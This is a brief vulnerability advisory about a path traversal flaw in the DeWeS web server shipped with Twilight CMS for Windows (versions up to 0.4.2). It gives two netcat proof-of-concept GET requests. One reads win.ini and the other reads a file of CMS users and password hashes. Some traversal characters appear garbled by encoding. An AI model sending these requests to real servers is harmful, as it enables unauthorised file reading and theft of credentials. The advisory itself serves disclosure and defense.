High-Tech Bridge Security Research Lab discovered path traversal vulnerability in DeWeS web server that is supplied in package with Twilight CMS (Windows version), which can be exploited to read arbitrary files on vulnerable system.
The exploitation examples below use netcat tool to connect to remote web server in order to exploit the vulnerability using malicious HTTP GET request.
The first PoC (Proof of Concept) code displays contents of the āC:/windows/win.iniā file:
nc [host] 80
GET /ā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5c/windows/win.ini HTTP/1.1
The second PoC code displays contents of the āuserlist.datā file that contains all Twilight CMS users and password hashes:
nc [host] 80
GET demosite/ā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5cā¦%5c/TwilightCMS/Site s/company_site/Data/userlist.dat HTTP/1.1
CPE | Name | Operator | Version |
---|---|---|---|
dewes web server (twilight cms) | le | 0.4.2 |